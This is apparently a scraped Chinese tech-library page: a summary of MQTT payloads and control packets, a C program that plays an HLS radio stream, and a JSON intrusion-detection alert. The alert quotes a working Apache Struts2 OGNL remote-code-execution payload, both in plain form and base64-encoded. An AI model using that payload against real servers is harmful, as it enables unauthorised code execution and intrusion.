file-type

MQTT协议解析:有效载荷Payload与控制报文

PDF文件

下载需积分: 41 | 1003KB | 更新于2024-08-06 | 155 浏览量 | 3 评论 | 118 下载量 举报 收藏
download 立即下载
"MQTT协议中文版,有效载荷Payload在MQTT中的角色" 在物联网(IoT)领域,MQTT(Message Queuing Telemetry Transport)是一种广泛使用的轻量级发布/订阅消息传输协议,尤其适合资源有限的设备。MQTT协议的设计原则包括简洁、开放、规范化,这使得它在M2M(Machine-to-Machine)通信和物联网应用中非常受欢迎。 在MQTT协议中,"有效载荷"(Payload)是指在MQTT报文中实际传输的数据,它是消息的核心部分。Payload可以包含任何类型的数据,如文本、图片、音频、视频或者传感器数据等,具体取决于应用程序的需求。Payload的大小没有固定限制,但需要考虑到网络带宽、存储和处理能力的约束,尤其是在物联网环境中。 MQTT协议包含一系列控制报文,这些报文构成了MQTT通信的基础。以下是其中一些关键的报文类型: 1. **CONNECT**:客户端向服务端发送连接请求,包含了客户端的身份信息、认证信息、会话保持时间等。 2. **CONNACK**:服务端响应客户端的连接请求,确认连接是否成功。 3. **PUBLISH**:发布消息,将Payload发送到指定的主题。Payload在这个报文中扮演着主要角色,携带实际的信息。 4. **PUBACK**:发布确认,服务端收到PUBLISH报文后发送,表明已收到发布消息。 5. **PUBREC**、**PUBREL**和**PUBCOMP**:这三者用于QoS2(Quality of Service 2)级别的消息传递,确保消息的可靠传输,即使在不可靠的网络条件下也能保证不丢失。 6. **SUBSCRIBE**:客户端订阅一个或多个主题,以便接收相关消息。 7. **SUBACK**:服务端确认订阅请求,告知客户端哪些主题已成功订阅。 8. **UNSUBSCRIBE**和**UNSUBACK**:客户端取消订阅主题,服务端确认取消操作。 9. **PINGREQ**和**PINGRESP**:心跳请求和响应,用于检测连接的活跃状态。 10. **DISCONNECT**:客户端或服务端断开连接。 MQTT协议的控制报文格式严谨且灵活,Payload可以根据需要携带各种类型的数据,这使得MQTT成为物联网应用中数据交换的理想选择。MQTT还支持WebSocket,提供了与Web技术的兼容性,进一步扩展了其应用场景。 为了确保MQTT协议的正确实施,有一系列的操作行为和安全考虑需要遵循。此外,一致性目标保证了不同实现之间的互操作性。MQTT协议以其高效、可靠和易用的特点,在物联网和M2M通信中扮演着至关重要的角色。

相关推荐

filetype

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <curl/curl.h> #include <neaacdec.h> #include <pulse/simple.h> #include <pulse/error.h> #include <arpa/inet.h> #include <libswresample/swresample.h> #include <math.h> #include <time.h> // 添加时间支持 #define HLS_URL "https://ngcdn001.cnr.cn/live/zgzs/index.m3u8" #define USER_AGENT "Mozilla/5.0 (X11; Linux x86_64)" #define MAX_SEGMENTS 20 #define OUTPUT_SAMPLE_RATE 48000 // 48000Hz 匹配AAC流 #define CHANNELS 2 #define BUFFER_DURATION_MS 200 // 增加缓冲区大小 #define TS_PACKET_SIZE 188 #define SYNC_BYTE 0x47 #define BUFFER_THRESHOLD 3 // 最少缓冲分段数 // 定义MemoryChunk结构体 typedef struct { unsigned char* data; size_t size; } MemoryChunk; typedef struct { char* url; int index; } Segment; typedef struct { CURL* curl; char* base_url; Segment segments[MAX_SEGMENTS]; int segment_count; int last_sequence; int running; pthread_mutex_t mutex; pa_simple* pulse; NeAACDecHandle aac_decoder; int aac_initialized; unsigned long sample_rate; // 实际的采样率 unsigned char channels; // 实际的声道数 SwrContext* swr_ctx; // 重采样上下文 int64_t audio_pts; // 音频时间戳 struct timespec last_play_time; // 最后播放时间 int64_t played_samples; // 已播放样本数 } PlayerState; // 内存写入回调函数 static size_t write_callback(void* contents, size_t size, size_t nmemb, void* userp) { size_t realsize = size * nmemb; MemoryChunk* mem = (MemoryChunk*)userp; // 使用临时指针避免内存泄漏 unsigned char* new_data = realloc(mem->data, mem->size + realsize + 1); if (new_data == NULL) { return 0; } mem->data = new_data; memcpy(&(mem->data[mem->size]), contents, realsize); mem->size += realsize; mem->data[mem->size] = '\0'; return realsize; } // 下载URL到内存 MemoryChunk download_url(CURL* curl, const char* url) { MemoryChunk chunk = {NULL, 0}; curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &chunk); curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); // 启用压缩 curl_easy_setopt(curl, CURLOPT_TCP_KEEPALIVE, 1L); // 启用TCP保活 CURLcode res = curl_easy_perform(curl); if (res != CURLE_OK) { fprintf(stderr, "下载失败: %s - %s\n", url, curl_easy_strerror(res)); if (chunk.data) free(chunk.data); chunk.data = NULL; chunk.size = 0; } return chunk; } // 解析M3U8播放列表 int parse_m3u8(PlayerState* state) { MemoryChunk playlist = download_url(state->curl, HLS_URL); if (!playlist.data || playlist.size == 0) { fprintf(stderr, "下载M3U8播放列表失败\n"); return -1; } char* data = (char*)playlist.data; char* saveptr = NULL; char* line = strtok_r(data, "\n", &saveptr); int media_sequence = 0; int segment_count = 0; while (line != NULL) { if (strstr(line, "#EXT-X-MEDIA-SEQUENCE:") != NULL) { sscanf(line, "#EXT-X-MEDIA-SEQUENCE:%d", &media_sequence); state->last_sequence = media_sequence; } else if (strstr(line, ".ts") != NULL && !strstr(line, "#")) { size_t len = strlen(state->base_url) + strlen(line) + 1; char* full_url = malloc(len); if (full_url == NULL) { fprintf(stderr, "分配内存失败\n"); break; } snprintf(full_url, len, "%s%s", state->base_url, line); int is_new = 1; for (int i = 0; i < state->segment_count; i++) { if (state->segments[i].index == media_sequence + segment_count) { is_new = 0; break; } } if (is_new && segment_count < MAX_SEGMENTS) { state->segments[segment_count].url = full_url; state->segments[segment_count].index = media_sequence + segment_count; segment_count++; } else { free(full_url); } } line = strtok_r(NULL, "\n", &saveptr); } state->segment_count = segment_count; free(playlist.data); return segment_count; } // 从TS包中提取有效载荷 int extract_ts_payload(unsigned char* ts_data, size_t ts_size, unsigned char** payload, size_t* payload_size) { *payload = NULL; *payload_size = 0; size_t pos = 0; int packet_count = 0; int valid_packet_count = 0; while (pos + TS_PACKET_SIZE <= ts_size) { packet_count++; // 跳过非同步字节 if (ts_data[pos] != SYNC_BYTE) { // 尝试重新同步 while (pos < ts_size && ts_data[pos] != SYNC_BYTE) { pos++; } if (pos + TS_PACKET_SIZE > ts_size) break; } // 适配字段控制 unsigned char adapt_field = (ts_data[pos + 3] >> 4) & 0x03; size_t payload_start = pos + 4; // 处理适配字段 if (adapt_field == 0x02 || adapt_field == 0x03) { unsigned char adapt_len = ts_data[pos + 4]; payload_start += 1 + adapt_len; if (payload_start >= pos + TS_PACKET_SIZE) { // 没有有效载荷 payload_start = pos + TS_PACKET_SIZE; } } // 计算有效载荷大小 size_t packet_payload_size = (pos + TS_PACKET_SIZE) - payload_start; if (packet_payload_size == 0) { pos += TS_PACKET_SIZE; continue; } // 重新分配内存并复制数据 unsigned char* new_payload = realloc(*payload, *payload_size + packet_payload_size); if (!new_payload) { if (*payload) free(*payload); *payload = NULL; *payload_size = 0; return -1; } *payload = new_payload; memcpy(*payload + *payload_size, ts_data + payload_start, packet_payload_size); *payload_size += packet_payload_size; valid_packet_count++; pos += TS_PACKET_SIZE; } if (valid_packet_count == 0) { fprintf(stderr, "未找到有效TS包\n"); return -1; } return 0; } // 初始化重采样器 int init_resampler(PlayerState* state) { if (state->swr_ctx) { swr_free(&state->swr_ctx); } // 创建重采样上下文 state->swr_ctx = swr_alloc_set_opts(NULL, AV_CH_LAYOUT_STEREO, // 输出声道布局 AV_SAMPLE_FMT_S16, // 输出采样格式 OUTPUT_SAMPLE_RATE, // 输出采样率 state->channels == 1 ? AV_CH_LAYOUT_MONO : AV_CH_LAYOUT_STEREO, // 输入声道布局 AV_SAMPLE_FMT_FLT, // 输入采样格式 (FAAD2输出的是浮点) state->sample_rate, // 输入采样率 0, NULL); if (!state->swr_ctx) { fprintf(stderr, "无法分配重采样上下文\n"); return -1; } // 设置重采样质量 av_opt_set_int(state->swr_ctx, "ich", state->channels, 0); av_opt_set_int(state->swr_ctx, "och", CHANNELS, 0); av_opt_set_int(state->swr_ctx, "filter_size", 32, 0); // 减少滤波器长度 av_opt_set_int(state->swr_ctx, "phase_shift", 6, 0); // 降低相位偏移 av_opt_set_double(state->swr_ctx, "cutoff", 0.8, 0); // 降低截止频率 av_opt_set_int(state->swr_ctx, "linear_resample", 1, 0); // 使用线性插值 // 初始化重采样器 if (swr_init(state->swr_ctx) < 0) { fprintf(stderr, "无法初始化重采样器\n"); swr_free(&state->swr_ctx); return -1; } printf("初始化重采样器: %dHz/%dch -> %dHz/%dch\n", state->sample_rate, state->channels, OUTPUT_SAMPLE_RATE, CHANNELS); return 0; } // 手动浮点到整型转换 void convert_float_to_s16(float* in, int16_t* out, int samples) { for (int i = 0; i < samples; i++) { float sample = in[i]; // 应用软裁剪避免削波 if (sample > 1.0f) sample = 1.0f; else if (sample < -1.0f) sample = -1.0f; out[i] = (int16_t)(sample * 32767.0f); } } // 音频同步机制 void sync_audio(PlayerState* state, int samples) { struct timespec now; clock_gettime(CLOCK_MONOTONIC, &now); // 如果是第一次播放,初始化时间戳 if (state->played_samples == 0) { state->last_play_time = now; state->played_samples = samples; return; } // 计算应播放的时间 double expected_time = (double)state->played_samples / OUTPUT_SAMPLE_RATE; double actual_time = (now.tv_sec - state->last_play_time.tv_sec) + (now.tv_nsec - state->last_play_time.tv_nsec) / 1e9; // 速度偏差超过5%时警告 if (fabs(actual_time - expected_time) > 0.05 * expected_time) { fprintf(stderr, "音频不同步: 预期 %.3fs 实际 %.3fs (偏差 %.1f%%)\n", expected_time, actual_time, 100*(actual_time - expected_time)/expected_time); } // 更新状态 state->played_samples += samples; state->last_play_time = now; } // 处理AAC帧并解码为PCM int decode_aac_frames(PlayerState* state, unsigned char* aac_data, size_t aac_size) { size_t pos = 0; int decoded_frames = 0; int initialization_attempts = 0; // 重采样缓冲区 int16_t* resampled_buffer = NULL; int resampled_samples = 0; int max_out_samples = 0; // 直接转换缓冲区 int16_t* convert_buffer = NULL; int convert_buffer_size = 0; while (pos < aac_size) { // 查找ADTS帧头 (0xFFFx) if (pos + 7 > aac_size) { // 剩余数据不足一个ADTS帧头 break; } // 检查同步字: 0xFFF (前12位) if (aac_data[pos] != 0xFF || (aac_data[pos+1] & 0xF0) != 0xF0) { // 检查是否为MP3格式 if (aac_data[pos] == 0xFF && (aac_data[pos+1] & 0xE0) == 0xE0) { fprintf(stderr, "检测到MP3格式,当前仅支持AAC解码\n"); return -1; } pos++; continue; } // 解析ADTS帧头长度 unsigned int frame_length = ((aac_data[pos+3] & 0x03) << 11); frame_length |= (aac_data[pos+4] << 3); frame_length |= (aac_data[pos+5] >> 5); // 检查帧是否完整 if (frame_length < 7 || pos + frame_length > aac_size) { // 帧不完整,跳过 pos++; continue; } // 初始化解码器(如果尚未初始化) if (!state->aac_initialized) { // 检查AAC特征 if ((aac_data[pos+1] & 0xF6) != 0xF0) { fprintf(stderr, "非AAC格式! 同步字: %02X%02X\n", aac_data[pos], aac_data[pos+1]); return -1; } unsigned long sr; unsigned char ch; if (NeAACDecInit(state->aac_decoder, aac_data + pos, frame_length, &sr, &ch) < 0) { fprintf(stderr, "AAC解码器初始化失败,尝试下一个帧\n"); initialization_attempts++; // 尝试5次后放弃 if (initialization_attempts > 5) { fprintf(stderr, "无法初始化解码器,跳过此分段\n"); break; } pos += frame_length; // 跳过当前帧,尝试下一个 continue; } state->sample_rate = sr; state->channels = ch; state->aac_initialized = 1; printf("AAC解码器初始化成功: %lu Hz, %d 声道\n", sr, ch); // 检查采样率是否在合理范围内 if (state->sample_rate < 8000 || state->sample_rate > 192000) { fprintf(stderr, "异常采样率: %lu Hz, 使用默认48000Hz\n", state->sample_rate); state->sample_rate = OUTPUT_SAMPLE_RATE; } // 初始化重采样器(如果需要) if (state->sample_rate != OUTPUT_SAMPLE_RATE || state->channels != CHANNELS) { if (init_resampler(state) != 0) { fprintf(stderr, "重采样器初始化失败,继续播放但可能有杂音\n"); } } else { printf("输入输出格式匹配,禁用重采样\n"); } } // 解码AAC帧 NeAACDecFrameInfo frame_info; void* pcm = NeAACDecDecode(state->aac_decoder, &frame_info, aac_data + pos, frame_length); if (frame_info.error == 0 && pcm && frame_info.samples > 0) { int in_samples = frame_info.samples; int in_channels = frame_info.channels; // 更新音频时间戳 state->audio_pts += in_samples; // 如果需要重采样 if (state->swr_ctx) { // 配置输入和输出 const uint8_t *in_data[8] = { (const uint8_t*)pcm }; // 计算最大输出样本数 max_out_samples = av_rescale_rnd(swr_get_delay(state->swr_ctx, state->sample_rate) + in_samples, OUTPUT_SAMPLE_RATE, state->sample_rate, AV_ROUND_UP); // 分配重采样缓冲区 if (!resampled_buffer) { resampled_buffer = malloc(max_out_samples * CHANNELS * sizeof(int16_t)); } uint8_t *out_data[8] = { (uint8_t*)resampled_buffer }; // 执行重采样 resampled_samples = swr_convert(state->swr_ctx, out_data, max_out_samples, in_data, in_samples); if (resampled_samples > 0) { int out_size = resampled_samples * CHANNELS * sizeof(int16_t); if (pa_simple_write(state->pulse, resampled_buffer, out_size, NULL) < 0) { fprintf(stderr, "PulseAudio写入错误\n"); } else { decoded_frames++; sync_audio(state, resampled_samples); } } } else { // 不需要重采样,但需要转换到S16 int pcm_size = in_samples * in_channels; // 确保转换缓冲区足够大 if (convert_buffer_size < pcm_size) { convert_buffer = realloc(convert_buffer, pcm_size * sizeof(int16_t)); convert_buffer_size = pcm_size; } // 手动转换浮点到S16 convert_float_to_s16((float*)pcm, convert_buffer, pcm_size); int out_size = pcm_size * sizeof(int16_t); if (pa_simple_write(state->pulse, convert_buffer, out_size, NULL) < 0) { fprintf(stderr, "PulseAudio写入错误\n"); } else { decoded_frames++; sync_audio(state, in_samples); } } } else if (frame_info.error) { fprintf(stderr, "AAC解码错误: %s\n", NeAACDecGetErrorMessage(frame_info.error)); } pos += frame_length; } // 冲刷重采样器 if (state->swr_ctx) { int remaining = swr_get_delay(state->swr_ctx, 0); if (remaining > 0) { if (!resampled_buffer) { resampled_buffer = malloc(remaining * CHANNELS * sizeof(int16_t)); } uint8_t *out_data[8] = { (uint8_t*)resampled_buffer }; resampled_samples = swr_convert(state->swr_ctx, out_data, remaining, NULL, 0); if (resampled_samples > 0) { int out_size = resampled_samples * CHANNELS * sizeof(int16_t); pa_simple_write(state->pulse, resampled_buffer, out_size, NULL); sync_audio(state, resampled_samples); } } } // 清理缓冲区 if (resampled_buffer) free(resampled_buffer); if (convert_buffer) free(convert_buffer); return decoded_frames; } // 处理单个TS分段 void process_ts_segment(PlayerState* state, const char* url) { struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, &start); // 下载TS分段 MemoryChunk ts_chunk = download_url(state->curl, url); if (!ts_chunk.data || ts_chunk.size == 0) { fprintf(stderr, "下载分段失败: %s\n", url); return; } // 从TS包中提取有效载荷 unsigned char* payload = NULL; size_t payload_size = 0; if (extract_ts_payload(ts_chunk.data, ts_chunk.size, &payload, &payload_size) != 0) { fprintf(stderr, "TS解析失败: %s\n", url); free(ts_chunk.data); return; } free(ts_chunk.data); if (payload && payload_size > 0) { // 解码AAC音频 int frames = decode_aac_frames(state, payload, payload_size); if (frames == 0) { fprintf(stderr, "未解码任何AAC帧: %s\n", url); } free(payload); } else { fprintf(stderr, "未找到有效载荷: %s\n", url); } // 计算处理时间 clock_gettime(CLOCK_MONOTONIC, &end); double elapsed = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9; printf("分段处理时间: %.2fms\n", elapsed * 1000); } // 音频解码和播放线程 void* audio_thread(void* arg) { PlayerState* state = (PlayerState*)arg; // 初始化FAAD2解码器 state->aac_decoder = NeAACDecOpen(); if (!state->aac_decoder) { fprintf(stderr, "无法打开AAC解码器\n"); return NULL; } state->aac_initialized = 0; state->swr_ctx = NULL; // 初始化重采样器为NULL state->audio_pts = 0; // 初始化时间戳 state->played_samples = 0; // 配置解码器 NeAACDecConfigurationPtr config = NeAACDecGetCurrentConfiguration(state->aac_decoder); if (config) { config->outputFormat = FAAD_FMT_FLOAT; // 改为浮点输出 config->downMatrix = 1; config->dontUpSampleImplicitSBR = 1; // 防止SBR上采样 NeAACDecSetConfiguration(state->aac_decoder, config); } else { fprintf(stderr, "无法获取AAC解码器配置\n"); } // 设置音频缓冲 const int buffer_duration = BUFFER_DURATION_MS; const int buffer_size = OUTPUT_SAMPLE_RATE * CHANNELS * sizeof(int16_t) * buffer_duration / 1000; while (state->running) { pthread_mutex_lock(&state->mutex); if (state->segment_count == 0) { pthread_mutex_unlock(&state->mutex); usleep(buffer_duration * 1000); // 按缓冲区时长休眠 continue; } // 获取一个分段 Segment seg = state->segments[0]; memmove(&state->segments[0], &state->segments[1], (state->segment_count - 1) * sizeof(Segment)); state->segment_count--; pthread_mutex_unlock(&state->mutex); // 处理TS分段 process_ts_segment(state, seg.url); free(seg.url); } // 清理资源 if (state->swr_ctx) { swr_free(&state->swr_ctx); } // 清理FAAD2解码器 NeAACDecClose(state->aac_decoder); return NULL; } // 主控制线程 int main() { PlayerState state; memset(&state, 0, sizeof(PlayerState)); // 初始化CURL curl_global_init(CURL_GLOBAL_DEFAULT); state.curl = curl_easy_init(); if (!state.curl) { fprintf(stderr, "无法初始化CURL\n"); return 1; } // 设置基础URL state.base_url = "https://ngcdn001.cnr.cn/live/zgzs/"; // 初始化互斥锁 if (pthread_mutex_init(&state.mutex, NULL)) { fprintf(stderr, "无法初始化互斥锁\n"); curl_easy_cleanup(state.curl); return 1; } // 初始化PulseAudio static const pa_sample_spec ss = { .format = PA_SAMPLE_S16LE, .rate = OUTPUT_SAMPLE_RATE, .channels = CHANNELS }; // 增加缓冲区大小 (500ms) pa_buffer_attr buffer_attr = { .maxlength = (uint32_t)-1, .tlength = (uint32_t)(OUTPUT_SAMPLE_RATE * sizeof(int16_t) * CHANNELS * 0.5), // 500ms .prebuf = (uint32_t)-1, .minreq = (uint32_t)(OUTPUT_SAMPLE_RATE * sizeof(int16_t) * CHANNELS * 0.05), // 50ms .fragsize = (uint32_t)-1 }; int pa_error; state.pulse = pa_simple_new( NULL, // 默认服务器 "CNR Radio Player", // 应用名称 PA_STREAM_PLAYBACK, // 播放流 NULL, // 默认设备 "China National Radio", // 流描述 &ss, // 采样规格 NULL, // 声道映射 &buffer_attr, // 缓冲区属性 &pa_error // 错误码 ); if (!state.pulse) { fprintf(stderr, "无法创建PulseAudio连接: %s\n", pa_strerror(pa_error)); pthread_mutex_destroy(&state.mutex); curl_easy_cleanup(state.curl); return 1; } state.running = 1; // 创建音频线程 pthread_t audio_tid; if (pthread_create(&audio_tid, NULL, audio_thread, &state) != 0) { fprintf(stderr, "无法创建音频线程\n"); pa_simple_free(state.pulse); pthread_mutex_destroy(&state.mutex); curl_easy_cleanup(state.curl); return 1; } printf("开始播放中国之声 (按Ctrl+C停止)...\n"); printf("输出采样率: %d Hz, 声道: %d\n", OUTPUT_SAMPLE_RATE, CHANNELS); printf("缓冲区: %dms, 缓冲阈值: %d个分段\n", BUFFER_DURATION_MS, BUFFER_THRESHOLD); // 主循环:定期更新播放列表 while (state.running) { int count = parse_m3u8(&state); if (count > 0) { printf("获取到 %d 个新分段, 当前缓冲: %d\n", count, state.segment_count); } else if (count < 0) { fprintf(stderr, "解析M3U8失败, 10秒后重试...\n"); sleep(10); continue; } // 动态调整休眠时间 pthread_mutex_lock(&state.mutex); int current_count = state.segment_count; pthread_mutex_unlock(&state.mutex); int sleep_time = current_count > BUFFER_THRESHOLD ? 2 : 1; sleep(sleep_time); } // 清理资源 state.running = 0; pthread_join(audio_tid, NULL); // 清理剩余分段 for (int i = 0; i < state.segment_count; i++) { free(state.segments[i].url); } // 刷新PulseAudio缓冲区 pa_simple_drain(state.pulse, NULL); pa_simple_free(state.pulse); curl_easy_cleanup(state.curl); curl_global_cleanup(); pthread_mutex_destroy(&state.mutex); return 0; } 此代码使用的什么进行的m3u8解析

filetype

{ "data_source_ip": "127.0.0.1", "metadata": { "flowbits": [ "TB.SYN", "TB.SYNACK", "tcp_pkt_1300_pass", "httpuri_js111", "chunk_proxy_response_chunked_header", "sensor.flowbits.filter_beh_resp", "TB.GET.SCRIPT.ACCESS", "httpuri_js", "CORELIGHT.Manjusaka.exfil", "post_req1" ] }, "data": "chexian.axa.cn/template/service/index.html", "input_time": 1753699907, "data_lower": "chexian.axa.cn/template/service/index.html", "machine_name": "chexian.axa.cn", "flow_credit_level": "NO MISS", "thread_id": 11, "incident_id": "a7a1fb711bf28938697abdca1099e0f3-1753698532", "event_type": "net", "assets": { "ext": "3", "is_target": false, "level": 1, "group_name": "", "ip": "10.0.0.0/8", "syslog_name": "", "section": "终端", "source": [ "manual" ], "mac": "", "update_time": "2024-06-17 13:56:33", "sub_type": "", "group_id": 0, "name": [ "默认资产" ], "location": "", "id": 3, "identity_type": 0 }, "flow_id": 76509844386627, "server_ip": "10.245.42.46", "geo_data": { "Area": "china_mainland", "Ip": "", "Country": "中国", "Latitude": "28.275575", "City": "长沙市", "Longitude": "112.836532", "Province": "湖南省", "ISO2": "CN" }, "id": "AZhQqPnCRg8PEgiiCjym", "net": { "is_https": 0, "real_src_ip": "113.247.223.7", "flow_src_ip": "10.247.37.203", "flow_src_port": 56810, "is_ipv6": false, "type": "http", "src_ip": "10.247.37.203", "flow_dest_mac": "3c:e8:24:77:72:65", "pkts_toserver": 768, "http_xff": "113.247.223.7", "bytes_toserver": 154385, "dest_port": 80, "flow_dest_ip": "10.245.42.46", "s2c_vlan": [ 941 ], "ticks": 116774946, "flow_src_mac": "50:6f:77:4e:18:0d", "app_proto": "http", "pkts_toclient": 1195, "src_port": 56810, "raw_event_type": "alert", "flow_dest_port": 80, "dest_ip": "10.245.42.46", "proto": "TCP", "http": { "method": "POST", "reqs_header": "Host: chexian.axa.cn\r\nX-Request-ID: a4efdaaea2610575724a805e492bbe0a\r\nX-Real-IP: 113.247.223.7\r\nX-Forwarded-For: 113.247.223.7, 117.44.77.30, 10.244.147.192\r\nX-Forwarded-Host: chexian.axa.cn\r\nX-Forwarded-Port: 80\r\nX-Forwarded-Proto: https\r\nX-Forwarded-Scheme: https\r\nX-Scheme: https\r\nX-Original-Forwarded-For: 113.247.223.7, 117.44.77.30\r\nContent-Length: 815\r\nuser-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko\r\naccept: */*\r\naccept-encoding: gzip,deflate\r\naccept-language: zh-cn,en-us;q=0.7,en;q=0.3\r\ncontent-type: multipart/form-data; boundary=-------------------------735323031399963166993862150\r\neo-connecting-ip: 113.247.223.7\r\ncdn-loop: TencentEdgeOne; loops=2\r\ntencent-acceleration-domain-name: chexian.axa.cn\r\neo-log-uuid: 399927046899199301\r\n\r\n", "reqs_line": "POST /template/service/index.html HTTP/1.1", "reqs_host": "chexian.axa.cn", "resp_header": "Server: nginx/1.26.1\r\nDate: Mon, 28 Jul 2025 10:51:55 GMT\r\nContent-Type: application/x-javascript;charset=UTF-8\r\nContent-Length: 404\r\nConnection: keep-alive\r\nvary: Accept-Encoding\r\nset-cookie: tpVisitorId=49077abb-b483-446f-aa22-0bcba766214d;max-age=15552000;Path=/;Secure;httponly\r\nset-cookie: app_cook=server3; path=/; HttpOnly; Secure\r\nContent-Security-Policy: default-src 'self' * data:; style-src 'self' http://* 'unsafe-inline' data:; script-src 'self' http://* 'unsafe-inline' 'unsafe-eval'; img-src * blob: data:;\r\n\r\n", "resp_line": "HTTP/1.1 200 OK", "tx_id": 30, "resp_set_cookie": "tpVisitorId=49077abb-b483-446f-aa22-0bcba766214d;max-age=15552000;Path=/;Secure;httponly;;app_cook=server3; path=/; HttpOnly; Secure", "url": "/https/wenku.csdn.net/template/service/index.html", "protocol": "HTTP/1.1", "resp_body": "{\"data\":{\"openCmsUrl\":\"https://www.axa.cn\",\"ecsalenomotorbackUrl\":\"https://policy.axa.cn/\",\"defaultAgentCode\":\"0\",\"ecsaleFrontUrl\":\"https://chexian.axa.cn/\",\"ecsaleUrl\":\"https://chexian.axa.cn\",\"status\":\"00\",\"resultMsg\":\"抱歉!根据ogsL50HvXD0Uip8JFjB0oY-np2b0查到数据为null\"},\"en_moreMoney\":\"\",\"insuredPersonAmount\":\"\",\"moreMsg\":\"\",\"msg\":\"\",\"statCode\":\"success\",\"status\":\"success\",\"success\":\"\"}", "domain": "chexian.axa.cn", "resp_content_length": 404, "reqs_content_length": 815, "reqs_body": "---------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name=\"xxxxx\"; filename=\"xxxxxxx\u0000%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=(@org.apache.struts2.ServletActionContext@getRequest())).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(900000000+87654320+1)).(#ros.print(#req.getRealPath('/'))).(#ros.print(\"zionymous_\"+\"struts2rce_\"+\"046\")).(#ros.close())}\r\n\r\n\r\n---------------------------735323031399963166993862150--", "reqs_user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko", "status": 200 }, "bytes_toclient": 1697759 }, "packet_direction": "in", "raw_data": "{\"timestamp\":\"2025-07-28T18:51:47.201101+0800\",\"flow_id\":76509844386627,\"thread_id\":11,\"src_ip\":\"10.247.37.203\",\"src_port\":56810,\"dest_ip\":\"10.245.42.46\",\"dest_port\":80,\"flow_src_ip\":\"10.247.37.203\",\"flow_src_port\":56810,\"flow_dest_ip\":\"10.245.42.46\",\"flow_dest_port\":80,\"flow_src_mac\":\"50:6f:77:4e:18:0d\",\"flow_dest_mac\":\"3c:e8:24:77:72:65\",\"tx_id\":30,\"bytes_toserver\":154385,\"bytes_toclient\":1697759,\"pkts_toserver\":768,\"pkts_toclient\":1195,\"ticks\":116774946,\"tcp_rst\":false,\"tcp_option_ip\":\"\",\"tcp_option_port\":0,\"payload\":\"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=\",\"flow_credit_level\":\"NO 